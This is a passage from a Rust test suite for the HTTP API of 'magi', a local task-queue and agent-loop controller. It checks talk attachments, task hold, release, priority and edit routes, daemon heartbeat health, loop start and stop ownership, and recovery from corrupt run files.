6045        assert_eq!(turns[0]["body"], "");
6046        let atts = turns[0]["attachments"]
6047            .as_array()
6048            .expect("attachments array");
6049        assert_eq!(atts.len(), 1);
6050        assert_eq!(atts[0]["id"], att_id);
6051        assert_eq!(atts[0]["mime"], "image/png");
6052
6053        // Not only in the response: `record` flushes to disk before the
6054        // agent's own turn is even spawned.
6055        let on_disk = f.talks().get(&id).expect("get");
6056        assert_eq!(on_disk.turns[0].attachments.len(), 1);
6057        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
6058    }
6059
6060    #[tokio::test]
6061    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
6062        let f = Fixture::start().await;
6063        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
6064
6065        let res = f
6066            .post(
6067                &format!("/api/talks/{id}/say"),
6068                Some(&format!(
6069                    r#"{{"text":"hi","attachments":["{}"]}}"#,
6070                    "a".repeat(32)
6071                )),
6072            )
6073            .await;
6074        assert!((400..500).contains(&res.status), "{}", res.body);
6075        assert!(res.body.contains("unknown attachment"), "{}", res.body);
6076
6077        let on_disk = f.talks().get(&id).expect("get");
6078        assert!(
6079            on_disk.turns.is_empty(),
6080            "a rejected attachment id must not partially record the turn: {:?}",
6081            on_disk.turns
6082        );
6083    }
6084
6085    #[tokio::test]
6086    async fn talk_close_makes_the_talk_refuse_further_turns() {
6087        let f = Fixture::start().await;
6088        let id = seed_talk(&f, "20260904-014455-cd34", "open");
6089
6090        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6091        assert_eq!(closed.status, 200, "{}", closed.body);
6092        assert_eq!(closed.json()["status"], "closed");
6093
6094        // Idempotent: closing an already-closed talk is not an error.
6095        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
6096        assert_eq!(closed_again.status, 200);
6097        assert_eq!(closed_again.json()["status"], "closed");
6098
6099        let said = f
6100            .post(
6101                &format!("/api/talks/{id}/say"),
6102                Some(r#"{"text":"too late"}"#),
6103            )
6104            .await;
6105        assert_eq!(said.status, 409, "{}", said.body);
6106    }
6107
6108    #[tokio::test]
6109    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
6110        let (_tmp, _repo, f) = talk_fixture().await;
6111        let id = f.post("/api/talks", None).await.json()["id"]
6112            .as_str()
6113            .expect("id")
6114            .to_owned();
6115        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6116        assert_eq!(closed.status, 200, "{}", closed.body);
6117
6118        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6119        assert_eq!(reopened.status, 200, "{}", reopened.body);
6120        assert_eq!(reopened.json()["status"], "open");
6121
6122        // Idempotent: reopening an already-open talk is not an error.
6123        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6124        assert_eq!(reopened_again.status, 200);
6125        assert_eq!(reopened_again.json()["status"], "open");
6126
6127        let said = f
6128            .post(
6129                &format!("/api/talks/{id}/say"),
6130                Some(r#"{"text":"still there?"}"#),
6131            )
6132            .await;
6133        assert_eq!(
6134            said.status, 202,
6135            "a reopened talk accepts turns again: {}",
6136            said.body
6137        );
6138    }
6139
6140    #[tokio::test]
6141    async fn talk_reopen_on_an_unknown_id_is_404() {
6142        let f = Fixture::start().await;
6143        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
6144        assert_eq!(res.status, 404, "{}", res.body);
6145    }
6146
6147    #[tokio::test]
6148    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
6149        let f = Fixture::start().await;
6150        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
6151
6152        let deleted = f.delete(&format!("/api/talks/{id}")).await;
6153        assert_eq!(deleted.status, 204, "{}", deleted.body);
6154
6155        let after = f.get(&format!("/api/talks/{id}")).await;
6156        assert_eq!(after.status, 404, "{}", after.body);
6157
6158        let listed = f.get("/api/talks").await.json();
6159        assert!(
6160            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
6161            "a deleted talk must not linger in the list: {listed}"
6162        );
6163    }
6164
6165    #[tokio::test]
6166    async fn talk_delete_on_an_unknown_id_is_404() {
6167        let f = Fixture::start().await;
6168        let res = f.delete("/api/talks/nonexistent-id").await;
6169        assert_eq!(res.status, 404, "{}", res.body);
6170    }
6171
6172    #[tokio::test]
6173    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
6174        let f = Fixture::start().await;
6175        let queue = f.queue();
6176        let mut task = Task::new(
6177            "spent".to_owned(),
6178            "Try again".to_owned(),
6179            PathBuf::from("/repo/magi"),
6180            Source::Human,
6181        );
6182        task.start("20260902-140502-bbbb".to_owned());
6183        task.fail("agent gave up", 9);
6184        queue.put(&mut task).expect("file the task");
6185
6186        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6187        assert_eq!(held.status, 200);
6188        assert_eq!(held.json()["status_str"], "held");
6189
6190        let released = f
6191            .post(&format!("/api/queue/{}/release", task.id), None)
6192            .await;
6193        assert_eq!(released.status, 200);
6194        assert_eq!(released.json()["status_str"], "queued");
6195        assert_eq!(
6196            released.json()["attempts"],
6197            0,
6198            "release is a real second chance, not an instant re-hold"
6199        );
6200        assert_eq!(
6201            queue.get(&task.id).expect("reload").status,
6202            TaskStatus::Queued,
6203            "the change is on disk, not only in the reply"
6204        );
6205        assert!(
6206            !f.home
6207                .path()
6208                .join("queue")
6209                .join(format!("{}.lock", task.id))
6210                .exists(),
6211            "the claim the mutation took is released again"
6212        );
6213    }
6214
6215    #[tokio::test]
6216    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
6217        let f = Fixture::start().await;
6218        let queue = f.queue();
6219        let mut task = Task::new(
6220            "busy".to_owned(),
6221            "Running right now".to_owned(),
6222            PathBuf::from("/repo/magi"),
6223            Source::Human,
6224        );
6225        queue.put(&mut task).expect("file the task");
6226        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6227
6228        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6229
6230        assert_eq!(res.status, 409);
6231        assert_eq!(
6232            queue.get(&task.id).expect("reload").status,
6233            TaskStatus::Queued,
6234            "the refused hold changed nothing"
6235        );
6236    }
6237
6238    #[tokio::test]
6239    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
6240        let f = Fixture::start().await;
6241        let queue = f.queue();
6242        let mut task = Task::new(
6243            "waiting on the migration".to_owned(),
6244            "Do the thing".to_owned(),
6245            PathBuf::from("/repo/magi"),
6246            Source::Human,
6247        );
6248        queue.put(&mut task).expect("file the task");
6249
6250        let held = f
6251            .post(
6252                &format!("/api/queue/{}/hold", task.id),
6253                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
6254            )
6255            .await;
6256        assert_eq!(held.status, 200, "{}", held.body);
6257        assert_eq!(held.json()["status_str"], "held");
6258        assert_eq!(
6259            held.json()["hold_reason"],
6260            "waiting for 20260101-000000-aaaa to land"
6261        );
6262
6263        let listed = f.get("/api/queue").await.json();
6264        assert_eq!(
6265            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
6266            "the card reads the reason off the same list route"
6267        );
6268
6269        // A hold with no body at all must keep working - most holds have no
6270        // reason to give.
6271        let mut plain = Task::new(
6272            "no reason given".to_owned(),
6273            "Do another thing".to_owned(),
6274            PathBuf::from("/repo/magi"),
6275            Source::Human,
6276        );
6277        queue.put(&mut plain).expect("file the task");
6278        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
6279        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
6280        assert!(held_plain.json()["hold_reason"].is_null());
6281
6282        let released = f
6283            .post(&format!("/api/queue/{}/release", task.id), None)
6284            .await;
6285        assert_eq!(released.status, 200);
6286        assert!(
6287            released.json()["hold_reason"].is_null(),
6288            "a release must clear the reason so the next hold does not inherit it"
6289        );
6290    }
6291
6292    #[tokio::test]
6293    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
6294        let f = Fixture::start().await;
6295        let queue = f.queue();
6296        let mut older = Task::new(
6297            "filed first".to_owned(),
6298            "x".to_owned(),
6299            PathBuf::from("/repo/magi"),
6300            Source::Human,
6301        );
6302        older.id = "20260101-000001-aaaa".to_owned();
6303        let mut newer = Task::new(
6304            "filed second".to_owned(),
6305            "x".to_owned(),
6306            PathBuf::from("/repo/magi"),
6307            Source::Human,
6308        );
6309        newer.id = "20260101-000002-bbbb".to_owned();
6310        queue.put(&mut older).expect("file older");
6311        queue.put(&mut newer).expect("file newer");
6312
6313        // Equal priority: the newer task leads, the same order the old
6314        // newest-first `list()` already gave every equal-priority queue.
6315        let before = f.get("/api/queue").await.json();
6316        assert_eq!(before[0]["id"], newer.id);
6317        assert_eq!(before[1]["id"], older.id);
6318
6319        // Raising the *older* task is the meaningful case: it can only lead
6320        // now because its priority says so, not because it happens to be
6321        // newest.
6322        let raised = f
6323            .post(
6324                &format!("/api/queue/{}/priority", older.id),
6325                Some(r#"{"priority":10}"#),
6326            )
6327            .await;
6328        assert_eq!(raised.status, 200, "{}", raised.body);
6329        assert_eq!(raised.json()["priority"], 10);
6330
6331        let after = f.get("/api/queue").await.json();
6332        let names: Vec<&str> = after
6333            .as_array()
6334            .unwrap()
6335            .iter()
6336            .map(|t| t["id"].as_str().unwrap())
6337            .collect();
6338        // Highest priority first, which is the order next_runnable and
6339        // `magi task list` both use - GET /api/queue must agree with it
6340        // immediately, not just once the loop claims the task.
6341        assert_eq!(names[0], older.id, "the raised task now sorts first");
6342    }
6343
6344    #[tokio::test]
6345    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
6346        let f = Fixture::start().await;
6347        let queue = f.queue();
6348        let mut task = Task::new(
6349            "in flight".to_owned(),
6350            "x".to_owned(),
6351            PathBuf::from("/repo/magi"),
6352            Source::Human,
6353        );
6354        task.start("20260902-140502-bbbb".to_owned());
6355        queue.put(&mut task).expect("file the task");
6356
6357        let res = f
6358            .post(
6359                &format!("/api/queue/{}/priority", task.id),
6360                Some(r#"{"priority":9}"#),
6361            )
6362            .await;
6363        assert_eq!(res.status, 400, "{}", res.body);
6364        assert!(
6365            res.json()["error"]
6366                .as_str()
6367                .is_some_and(|e| e.contains("running")),
6368            "{}",
6369            res.body
6370        );
6371        assert_eq!(
6372            queue.get(&task.id).expect("reload").priority,
6373            0,
6374            "the refused write must not partially apply"
6375        );
6376    }
6377
6378    #[tokio::test]
6379    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
6380        let f = Fixture::start().await;
6381        let queue = f.queue();
6382        let mut task = Task::new(
6383            "old title".to_owned(),
6384            "old instruction".to_owned(),
6385            PathBuf::from("/repo/magi"),
6386            Source::Agent {
6387                run: "20260101-000000-beef".to_owned(),
6388                node: "implement".to_owned(),
6389            },
6390        );
6391        task.runs.push("20260101-000000-beef".to_owned());
6392        queue.put(&mut task).expect("file the task");
6393        let created_at = task.created_at;
6394
6395        let edited = f
6396            .post(
6397                &format!("/api/queue/{}/edit", task.id),
6398                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
6399            )
6400            .await;
6401        assert_eq!(edited.status, 200, "{}", edited.body);
6402        let body = edited.json();
6403        assert_eq!(body["title"], "new title");
6404        assert_eq!(body["instruction"], "new instruction");
6405        assert_eq!(body["id"], task.id, "editing must not mint a new id");
6406        assert_eq!(body["created_at"], created_at.to_string());
6407        assert_eq!(
6408            body["source"]["kind"], "agent",
6409            "editing a task an agent filed must not turn it human: {body}"
6410        );
6411        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
6412
6413        let reloaded = queue.get(&task.id).expect("reload");
6414        assert_eq!(reloaded.title, "new title");
6415        assert_eq!(reloaded.instruction, "new instruction");
6416    }
6417
6418    #[tokio::test]
6419    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
6420        let f = Fixture::start().await;
6421        let queue = f.queue();
6422        let mut task = Task::new(
6423            "in flight".to_owned(),
6424            "do not touch".to_owned(),
6425            PathBuf::from("/repo/magi"),
6426            Source::Human,
6427        );
6428        task.start("20260902-140502-bbbb".to_owned());
6429        queue.put(&mut task).expect("file the task");
6430
6431        let res = f
6432            .post(
6433                &format!("/api/queue/{}/edit", task.id),
6434                Some(r#"{"title":"x","instruction":"y"}"#),
6435            )
6436            .await;
6437        assert_eq!(res.status, 400, "{}", res.body);
6438        assert!(
6439            res.json()["error"]
6440                .as_str()
6441                .is_some_and(|e| e.contains("running")),
6442            "{}",
6443            res.body
6444        );
6445        assert_eq!(
6446            queue.get(&task.id).expect("reload").instruction,
6447            "do not touch",
6448            "the refused edit must not change the file"
6449        );
6450    }
6451
6452    #[tokio::test]
6453    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
6454        let f = Fixture::start().await;
6455        let queue = f.queue();
6456        let mut task = Task::new(
6457            "busy".to_owned(),
6458            "Running right now".to_owned(),
6459            PathBuf::from("/repo/magi"),
6460            Source::Human,
6461        );
6462        queue.put(&mut task).expect("file the task");
6463        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6464
6465        let priority = f
6466            .post(
6467                &format!("/api/queue/{}/priority", task.id),
6468                Some(r#"{"priority":9}"#),
6469            )
6470            .await;
6471        assert_eq!(priority.status, 409, "{}", priority.body);
6472
6473        let edit = f
6474            .post(
6475                &format!("/api/queue/{}/edit", task.id),
6476                Some(r#"{"title":"x","instruction":"y"}"#),
6477            )
6478            .await;
6479        assert_eq!(edit.status, 409, "{}", edit.body);
6480    }
6481
6482    #[tokio::test]
6483    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
6484        let f = Fixture::start().await;
6485        let queue = f.queue();
6486        let mut task = Task::new(
6487            "shipped by hand".to_owned(),
6488            "merged outside the loop".to_owned(),
6489            PathBuf::from("/repo/magi"),
6490            Source::Agent {
6491                run: "20260101-000000-b455".to_owned(),
6492                node: "implement".to_owned(),
6493            },
6494        );
6495        task.runs.push("20260101-000000-b455".to_owned());
6496        task.runs.push("20260101-000000-9af4".to_owned());
6497        queue.put(&mut task).expect("file the task");
6498        let created_at = task.created_at;
6499
6500        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6501        assert_eq!(done.status, 200, "{}", done.body);
6502        assert_eq!(done.json()["status_str"], "done");
6503
6504        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
6505        assert_eq!(
6506            reloaded.runs,
6507            ["20260101-000000-b455", "20260101-000000-9af4"]
6508        );
6509        assert_eq!(
6510            reloaded.source,
6511            Source::Agent {
6512                run: "20260101-000000-b455".to_owned(),
6513                node: "implement".to_owned(),
6514            }
6515        );
6516        assert_eq!(reloaded.created_at, created_at);
6517    }
6518
6519    #[tokio::test]
6520    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
6521        // `done` is allowed on any status, including `held`, with no release
6522        // in between - so a task held for a reason and then closed directly
6523        // must not keep reading as "waiting on" it afterwards, on its card or
6524        // in `magi task show`.
6525        let f = Fixture::start().await;
6526        let queue = f.queue();
6527        let mut task = Task::new(
6528            "landed while held".to_owned(),
6529            "x".to_owned(),
6530            PathBuf::from("/repo/magi"),
6531            Source::Human,
6532        );
6533        task.hold_manual(Some("waiting on 3ed9".to_owned()));
6534        queue.put(&mut task).expect("file the held task");
6535
6536        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6537        assert_eq!(done.status, 200, "{}", done.body);
6538        assert_eq!(done.json()["status_str"], "done");
6539        assert!(
6540            done.json()["hold_reason"].is_null(),
6541            "a done task cannot still be waiting on something: {}",
6542            done.body
6543        );
6544    }
6545
6546    #[tokio::test]
6547    async fn unknown_ids_are_json_not_found_on_both_stores() {
6548        let f = Fixture::start().await;
6549
6550        let run = f.get("/api/runs/nosuchrun").await;
6551        let task = f.post("/api/queue/nosuchtask/hold", None).await;
6552
6553        assert_eq!(run.status, 404);
6554        assert_eq!(task.status, 404);
6555        assert!(
6556            run.json()["error"]
6557                .as_str()
6558                .is_some_and(|e| e.contains("run")),
6559            "the error names what was not found: {}",
6560            run.body
6561        );
6562        assert!(
6563            task.json()["error"]
6564                .as_str()
6565                .is_some_and(|e| e.contains("task")),
6566            "the error names what was not found: {}",
6567            task.body
6568        );
6569    }
6570
6571    #[tokio::test]
6572    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
6573        let f = Fixture::start().await;
6574
6575        let missing = f.get("/api/health").await.json();
6576        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
6577
6578        write_daemon(
6579            f.home.path(),
6580            Timestamp::now() - jiff::SignedDuration::from_secs(60),
6581        );
6582        let stale = f.get("/api/health").await.json();
6583        assert_eq!(
6584            stale["daemon"]["running"], false,
6585            "a minute without a heartbeat is a dead daemon, not a busy one"
6586        );
6587        assert!(
6588            stale["daemon"]["stale_for_secs"]
6589                .as_i64()
6590                .is_some_and(|s| s >= 55),
6591            "staleness is reported so the UI can say how long: {stale}"
6592        );
6593
6594        write_daemon(f.home.path(), Timestamp::now());
6595        let fresh = f.get("/api/health").await.json();
6596        assert_eq!(fresh["daemon"]["running"], true);
6597        assert_eq!(fresh["daemon"]["idle"], false);
6598        assert_eq!(fresh["daemon"]["pid"], 4242);
6599        assert_eq!(fresh["daemon"]["completed"], 7);
6600        assert_eq!(
6601            fresh["daemon"]["current"][0]["task"],
6602            "20260902-140501-aaaa"
6603        );
6604        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
6605    }
6606
6607    #[tokio::test]
6608    async fn the_loop_is_not_running_until_something_starts_it() {
6609        let f = Fixture::start().await;
6610
6611        let view = f.get("/api/loop").await.json();
6612        assert_eq!(view["running"], false);
6613        assert_eq!(
6614            view["owned"], false,
6615            "nobody owns a loop that does not exist: {view}"
6616        );
6617        assert_eq!(view["stopping"], false);
6618        assert_eq!(view["last_error"], Value::Null);
6619        assert_eq!(view["daemon"]["running"], false);
6620        assert_eq!(
6621            view["repo"], "/repo/magi",
6622            "the repository a start would use, named before it is started"
6623        );
6624    }
6625
6626    #[tokio::test]
6627    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
6628        let f = Fixture::start().await;
6629
6630        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6631        assert_eq!(res.status, 200, "{}", res.body);
6632        let view = res.json();
6633        assert_eq!(view["running"], true);
6634        assert_eq!(
6635            view["owned"], true,
6636            "the loop the UI started is the UI's own to stop: {view}"
6637        );
6638        assert_eq!(
6639            view["merge"],
6640            Value::Null,
6641            "no override was given, so each repository's own config decides"
6642        );
6643
6644        // The same object from the route a waking phone polls first. Two
6645        // surfaces disagreeing about whether anything is running is exactly
6646        // the confusion this UI exists to remove.
6647        let health = f.get("/api/health").await.json();
6648        assert_eq!(health["loop"]["running"], true, "{health}");
6649        assert_eq!(health["loop"]["owned"], true, "{health}");
6650
6651        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6652    }
6653
6654    #[tokio::test]
6655    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
6656        let f = Fixture::start().await;
6657        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6658        assert_eq!(first.status, 200, "{}", first.body);
6659
6660        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6661        assert_eq!(
6662            again.status, 409,
6663            "two loops on one queue race for the same claims: {}",
6664            again.body
6665        );
6666        assert!(
6667            again.json()["error"]
6668                .as_str()
6669                .is_some_and(|e| e.contains("already running the loop")),
6670            "the refusal has to say why: {}",
6671            again.body
6672        );
6673        assert_eq!(
6674            f.get("/api/loop").await.json()["running"],
6675            true,
6676            "and the loop that was already running is untouched by it"
6677        );
6678
6679        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6680    }
6681
6682    #[tokio::test]
6683    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
6684        let f = Fixture::start().await;
6685        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6686
6687        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6688        assert_eq!(
6689            res.status, 200,
6690            "the answer must not wait for the loop: a run in flight is tens of \
6691             minutes and the operator is holding a phone: {}",
6692            res.body
6693        );
6694
6695        let view = settled(&f, |v| v["running"] == false).await;
6696        assert_eq!(view["owned"], false);
6697        assert_eq!(
6698            view["stopping"], false,
6699            "a loop that has stopped is not still stopping: {view}"
6700        );
6701        assert_eq!(
6702            view["last_error"],
6703            Value::Null,
6704            "a loop that was asked to stop did not fail: {view}"
6705        );
6706
6707        // Idempotent, because the operator cannot tell a slow stop from a lost
6708        // one and will press it again.
6709        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6710        assert_eq!(twice.status, 200, "{}", twice.body);
6711    }
6712
6713    #[tokio::test]
6714    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
6715        let f = Fixture::start().await;
6716        // How the operator has been doing it: a `magi serve` of their own,
6717        // heartbeat fresh, in the same home this UI reads.
6718        write_daemon(f.home.path(), Timestamp::now());
6719
6720        let view = f.get("/api/loop").await.json();
6721        assert_eq!(view["running"], false, "not in this process: {view}");
6722        assert_eq!(view["owned"], false, "and not this process's to control");
6723        assert_eq!(
6724            view["daemon"]["running"], true,
6725            "but a loop is alive somewhere, which is what the UI must say"
6726        );
6727        assert_eq!(view["daemon"]["pid"], 4242);
6728
6729        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
6730            let res = f.post("/api/loop", Some(body)).await;
6731            assert_eq!(
6732                res.status, 409,
6733                "neither button may pretend to work on someone else's loop: {}",
6734                res.body
6735            );
6736            assert!(
6737                res.json()["error"]
6738                    .as_str()
6739                    .is_some_and(|e| e.contains("4242")),
6740                "the refusal has to name the process the operator must go to: {}",
6741                res.body
6742            );
6743        }
6744        assert_eq!(
6745            f.get("/api/loop").await.json()["running"],
6746            false,
6747            "and the refusal started nothing"
6748        );
6749    }
6750
6751    #[tokio::test]
6752    async fn a_stale_status_file_is_not_a_foreign_owner() {
6753        let f = Fixture::start().await;
6754        write_daemon(
6755            f.home.path(),
6756            Timestamp::now() - jiff::SignedDuration::from_secs(60),
6757        );
6758
6759        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6760        assert_eq!(
6761            res.status, 200,
6762            "a daemon killed a minute ago must not lock the loop out of its \
6763             own home for good: {}",
6764            res.body
6765        );
6766        assert_eq!(res.json()["running"], true);
6767
6768        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6769    }
6770
6771    #[tokio::test]
6772    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
6773        let f = Fixture::start().await;
6774        let before = f.get("/api/health").await.json()["loop_rev"]
6775            .as_u64()
6776            .expect("a loop revision");
6777
6778        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6779
6780        let after = f.get("/api/health").await.json()["loop_rev"]
6781            .as_u64()
6782            .expect("a loop revision");
6783        assert!(
6784            after > before,
6785            "the loop is in-process state, so this counter is the only thing \
6786             that tells a second device the first one started it: {before} -> \
6787             {after}"
6788        );
6789
6790        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6791    }
6792
6793    #[tokio::test]
6794    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
6795        let f = Fixture::with_loop(launch_broken).await;
6796
6797        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6798        assert_eq!(
6799            res.status, 200,
6800            "starting it is not the failure: {}",
6801            res.body
6802        );
6803
6804        let view = settled(&f, |v| v["last_error"].is_string()).await;
6805        assert_eq!(
6806            view["running"], false,
6807            "a loop that died must not read as running, or the operator has \
6808             nothing to press: {view}"
6809        );
6810        assert_eq!(view["owned"], false);
6811        assert!(
6812            view["last_error"]
6813                .as_str()
6814                .is_some_and(|e| e.contains("read-only file system")),
6815            "the phone is where a loop that died at 3am is visible: {view}"
6816        );
6817
6818        // And it can be started again: the corpse was reaped, not left to
6819        // occupy the slot.
6820        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6821        assert_eq!(again.status, 200, "{}", again.body);
6822        assert_eq!(
6823            again.json()["last_error"],
6824            Value::Null,
6825            "a fresh start does not keep showing why the last one died"
6826        );
6827    }
6828
6829    /// An upgrade parks the run in flight before it restarts, and a park waits
6830    /// for the node - up to `timeout_implement`, an hour by default. The deck
6831    /// has to answer for all of it: the operator has just been told a run is
6832    /// finishing first, and this address is the only place that says how it is
6833    /// going. It did not, once - the listener went with the `select!` arm that
6834    /// began the handover, and the phone got `Cannot reach magi: Failed to
6835    /// fetch` for the rest of the wave.
6836    ///
6837    /// The other half is the older rule: the address must be free *before* the
6838    /// successor is started, or it dies on "address already in use" with its
6839    /// stdio sent to null and the deck never comes back.
6840    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
6841    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
6842        let home = TempDir::new().expect("temp home");
6843        let runs = home.path().join("runs");
6844        std::fs::create_dir_all(&runs).expect("runs dir");
6845        let ui = Ui::new(
6846            Queue::at(home.path().join("queue")),
6847            Questions::at(home.path().join("questions")),
6848            Talks::at(home.path().join("talks")),
6849            runs,
6850            home.path().to_path_buf(),
6851            PathBuf::from("/repo/magi"),
6852        )
6853        .with_worktrees_root(home.path().join("wt"))
6854        .with_launch(launch_knocking_on_the_way_out);
6855        let looping = ui.looping();
6856        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6857            .await
6858            .expect("bind loopback");
6859        let addr = listener.local_addr().expect("local addr");
6860        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
6861        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
6862
6863        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
6864        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
6865
6866        // The successor's whole job, and the one thing it cannot do while this
6867        // process still holds the socket.
6868        //
6869        // One bind is not enough, and the reason is not this process's order of
6870        // operations: aborting the accept loop drops the listener, but axum
6871        // serves each accepted connection on a task of its own, and those are
6872        // not aborted. The requests above left sockets on this very address,
6873        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
6874        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
6875        // Production absorbs that in `bind_waiting`; so does this. Only
6876        // `AddrInUse` is retried, and the listener is released before the
6877        // closure returns - were the order wrong, the listener would outlive
6878        // the closure and every attempt would fail. Inferred from the bind
6879        // rules and the code; not reproduced on macOS.
6880        let bound = std::sync::Mutex::new(None);
6881        hand_over(home.path(), &looping, served, || {
6882            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
6883            let attempt = loop {
6884                match std::net::TcpListener::bind(addr) {
6885                    Ok(l) => {
6886                        drop(l);
6887                        break Ok(());
6888                    }
6889                    Err(e)
6890                        if e.kind() == std::io::ErrorKind::AddrInUse
6891                            && std::time::Instant::now() < deadline =>
6892                    {
6893                        std::thread::sleep(std::time::Duration::from_millis(10));
6894                    }
6895                    Err(e) => break Err(e.to_string()),
6896                }
6897            };
6898            *bound.lock().expect("bound") = Some(attempt);
6899            Ok(())
6900        })
6901        .await
6902        .expect("hand over");
6903
6904        assert_eq!(
6905            *PARK_HEARD.lock().expect("park heard"),
6906            Some(200),
6907            "the deck must answer while the loop is parking"
6908        );
6909        let attempt = bound
6910            .lock()
6911            .expect("bound")
6912            .take()
6913            .expect("the successor was started");
6914        assert!(
6915            attempt.is_ok(),
6916            "and the address must be free by the time it is: {attempt:?}"
6917        );
6918    }
6919
6920    #[tokio::test]
6921    async fn a_newer_daemon_status_file_still_renders() {
6922        let f = Fixture::start().await;
6923        // A field this build has never heard of must not turn the status line
6924        // into a 500; that is the whole reason the reader is permissive.
6925        std::fs::write(
6926            f.home.path().join("daemon.json"),
6927            serde_json::json!({
6928                "schema": 2,
6929                "updated_at": Timestamp::now().to_string(),
6930                "idle": true,
6931                "surprise": { "nested": [1, 2, 3] },
6932            })
6933            .to_string(),
6934        )
6935        .expect("write daemon.json");
6936
6937        let health = f.get("/api/health").await;
6938
6939        assert_eq!(health.status, 200);
6940        assert_eq!(health.json()["daemon"]["running"], true);
6941    }
6942
6943    #[tokio::test]
6944    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
6945        let f = Fixture::start().await;
6946        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
6947        let broken = f.runs().join("20260902-140502-bad");
6948        std::fs::create_dir_all(&broken).expect("run dir");
6949        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
6950
6951        let list = f.get("/api/runs").await;
6952        let detail = f.get("/api/runs/20260902-140502-bad").await;
6953
6954        assert_eq!(list.status, 200);
6955        let listed = list.json();
6956        let ids: Vec<&str> = listed
6957            .as_array()
6958            .expect("an array")
6959            .iter()
6960            .map(|r| r["id"].as_str().expect("an id"))
6961            .collect();
6962        assert_eq!(
6963            ids,
6964            vec!["20260902-140501-good"],
6965            "one unreadable run must not cost the operator the whole history"
6966        );
6967        assert_eq!(detail.status, 500);
6968        assert!(
6969            detail.json()["error"]
6970                .as_str()
6971                .is_some_and(|e| e.contains("run.json")),
6972            "the failure names the file to look at: {}",
6973            detail.body
6974        );
6975        // A skipped run has to be countable somewhere, or the UI shows an
6976        // empty history with nothing to explain it - which is exactly what a
6977        // directory full of older-schema runs looks like.
6978        let health = f.get("/api/health").await;
6979        assert_eq!(health.json()["runs_unreadable"], 1);
6980    }
6981
6982    #[tokio::test]
6983    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
6984        let f = Fixture::start().await;
6985        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
6986
6987        let summary = f.get("/api/runs").await.json();
6988        let row = &summary[0];
6989        assert_eq!(row["short"], "a1b2");
6990        assert_eq!(row["status"], "ready");
